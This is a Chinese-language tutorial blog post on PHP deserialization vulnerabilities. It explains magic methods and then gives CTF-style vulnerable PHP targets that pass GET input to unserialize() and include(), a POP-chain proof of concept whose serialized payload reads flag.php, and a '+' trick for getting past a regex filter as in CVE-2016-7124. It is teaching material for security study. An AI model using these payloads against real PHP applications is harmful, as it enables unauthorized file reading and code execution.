您现在的位置是:首页 > 技术教程 正文

PHP反序列化漏洞(最全面最详细有例题)

admin 阅读: 2024-03-15
后台-插件-广告管理-内容页头部广告(手机)

文章目录

  • PHP反序列化漏洞
    • 一.类与对象
    • 二.反序列化基础知识
    • 三.魔术方法的构造和折构
        • __construct()
        • __destruct()
        • __sleep()
        • __wakeup()
      • 错误调用魔术方法:
        • __callStatic()
        • __get()
        • __set()
        • __isset()
        • __unset()
        • __clone()
      • 魔术方法小总结
      • 反序列化漏洞的成因:
    • 四.pop链构造
      • POP链
      • POC链
        • 反推法:
    • 五.字符串逃逸
    • 六.__wakeup魔术方法绕过
      • 漏洞产生原因:
      • __wakeup绕过简单例题:
          • /[oc]:\d+:/i
    • 七.引用的利用方法
      • 例题
    • 八.SESSION反序列化漏洞
      • session的不同处理器的不同储存格式
        • 第一种格式:
        • 第二种格式:
        • 第三种格式:
      • 例题:
    • 九.phar反序列化漏洞学习
        • 例题
        • phar构造模板
        • phar的使用条件:
    • GlobIterator类
    • ArrayObject类

PHP反序列化漏洞

靶场搭建:
所有例题靶场里面都有
直接把文件放在phpstudy的目录下,或者用docker打开都行

一.类与对象

类的结构,类的内容,实例化和赋值,类的修饰符介绍

<?php highlight_file(__FILE__); class hero{ var $name; var $sex; function jineng($var1) { echo $this->name; echo $var1; } } $obj = new hero(); $obj->name = "haha"; $obj->sex = "男"; print_r($obj); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

外部可以用调用public属性,类的内部可以调用protected,public属性成员属性。都不能调用private属性的成员

二.反序列化基础知识

a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

private属性变量,会在其前面和后面各加上%00,且还要加上类的名字

protect属性变量,会在其前面加上%00*%00

<?php class hero{ private $id='nihao'; protected $ip='123'; public $ia='ddd'; } $a = new hero(); echo serialize($a); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

结果:
在这里插入图片描述

三.魔术方法的构造和折构

什么是魔术方法?
在这里插入图片描述

__construct()

构建函数,在实例化一个对象时,自动进行执行的一个方法;
触发时机:实例化对象 功能:提前清理不必要要的内容 参数:非必要 返回值:

__destruct()

析构函数,在对象的所以被引用被删除或者当对象被显示销毁时执行的魔术方法
触发时机:对象引用完成,或对象被销毁 功能: 参数: 返回值:

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()
如果存在,该方法被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称为数组。
如果该方法并为返回任何内容,则NULL被序列化,并产生一个E_NOTICE级别的错误
触发时机:序列化serialize之前 功能:对象被序列化之前触发,返回需要被序列化存储的属性,删除不必要的属性 参数:return array 返回值:返回必要的存储属性

<?php class User { const SITE = 'uusama'; public $username; public $nickname; private $password; public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; } public function __sleep() { return array('username', 'nickname'); } } $user = new User('a', 'b', 'c'); echo serialize($user); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

运行结果:
在这里插入图片描述

__wakeup()

unserialize()会检查是否存在一个__wakeup()方法
如果存在,则先调用__wakeup方法,预先准备对象需要的资源库。
预先准备对象需要的资源库,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始操作
触发时机:反序列化unserialize()之前 功能: 参数: 返回值:
__tostring()
表达方式错误导致的魔术方法触发
触发时机:对象被当成字符串调用 功能: 参数: 返回值:
__invoke()
格式表达错误导致魔术方法触发
触发时机:把对象当成函数去调用 功能: 参数: 返回值:

<?php class User { var $benben = "this is test!!"; public function __invoke() { echo '它不是个函数!'; } } $test = new User() ; echo $test ->benben; echo "
"
; echo $test() ->benben; ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

运行结果
在这里插入图片描述

错误调用魔术方法:

__call()
调用时机:调用一个不存在的方法 功能: 参数:2个参数传参$ arg1,$arg2 返回值:调用的不存的方法名称和参数

<?php class User { public function __call($arg1,$arg2) { echo "$arg1,$arg2[0]"; } } $test = new User() ; $test -> callxxx('a'); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

运行结果
在这里插入图片描述

$ arg1,$arg2;
$arg1,调用的不存在的方法的名称;
$arg2,调用不存在的方法的参数;

__callStatic()

在这里插入图片描述

<?php class User { public function __callStatic($arg1,$arg2) { echo "$arg1,$arg2[0]"; } } $test = new User() ; $test::callxxx('a'); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

运行结果:
在这里插入图片描述

__get()

在这里插入图片描述

<?php class User { public $var1; public function __get($arg1) { echo $arg1; } } $test = new User(); $test ->var2; ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

运行结果:
在这里插入图片描述

__set()

在这里插入图片描述

<?php class User { public $var1; public function __set($arg1 ,$arg2) { echo $arg1.','.$arg2; } } $test = new User() ; $test ->var2=1; ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

在这里插入图片描述

__isset()

在这里插入图片描述isset()调用的成员属性var不可访问或不存在

<?php class User { private $var; public function __isset($arg1 ) { echo $arg1; } } $test = new User() ; isset($test->var); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

在这里插入图片描述

__unset()

在这里插入图片描述

<?php class User { private $var; public function __unset($arg1 ) { echo $arg1; } } $test = new User() ; unset($test->var); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

运行结果:
在这里插入图片描述

__clone()

在这里插入图片描述

<?php class User { private $var; public function __clone( ) { echo "__clone test"; } } $test = new User() ; $newclass = clone($test) ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

运行结果:
在这里插入图片描述

魔术方法小总结

在这里插入图片描述在这里插入图片描述

反序列化漏洞的成因:

反序列化的过程中,unserialize()接收的值(字符串)可控
通过更改这个值,得到所需要的代码
通过调用方法,触发代码执行
魔术方法在特定条件下自动调用相关方法,最终导致触发代码。

四.pop链构造

魔术方法触发规则
魔术方法触发前提是:魔术方法所在的类(或对象)被调用

POP链

在反序列化中,我们可以控制的数据就是对象中的属性值(成员变量),
所以在php反序列化中有一种漏洞利用方法叫"面向属性编程“,
pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload。

POC链

POC(全程:Proof of concept)中午译为概念验证。在安全界可以理解为漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

反推法:
<?php //flag is in flag.php class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); } ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41

在这里插入图片描述
poc:

<?php //flag is in flag.php class Modifier { private $var='flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $mod = new Modifier(); $test = new Test(); $test->p=$mod; $show = new Show(); $show->source = $show; $show->str=$test; echo serialize($show); ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

结果:O:4:“Show”:2:{s:6:“source”;r:1;s:3:“str”;O:4:“Test”:1:{s:1:“p”;O:8:“Modifier”:1:{s:13:“Modifiervar”;s:8:“flag.php”;}}}//注意var为私有属性,应该添加%00,%00

五.字符串逃逸

反序列化分隔符:
反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸:
一般数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

利用原理:反序列化逃逸的题目,会使用preg_replace函数替换关键字符,会使得关键字符增多或减少。
例题与原理讲解

六.__wakeup魔术方法绕过

反序列化漏洞:CVE-2016-7124
版本:
php5<5.6.25 php7<7.0.10

漏洞产生原因:

如果存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数大于真实属性个数时,会跳过__wakeup()的执行

__wakeup绕过简单例题:

<?php class secret{ var $file='index.php'; public function __construct($file){ $this->file=$file; } function __destruct(){ include_once($this->file); echo $flag;//目标 } function __wakeup(){ $this->file='index.php'; } } $cmd=$_GET['cmd']; if (!isset($cmd)){ highlight_file(__FILE__); } else{ if (preg_match('/[oc]:\d+:/i',$cmd)){ echo "Are you daydreaming?"; } else{ unserialize($cmd); } } //sercet in flag.php ?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
/[oc]:\d+:/i

这个正则表示匹配查看是否含有数字
如何绕过呢?
我们反序列化是需要数字的那怎么绕过呢,只需要在数字前面加上一个+号即可绕过

**payload:**O:+6:“secret”

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索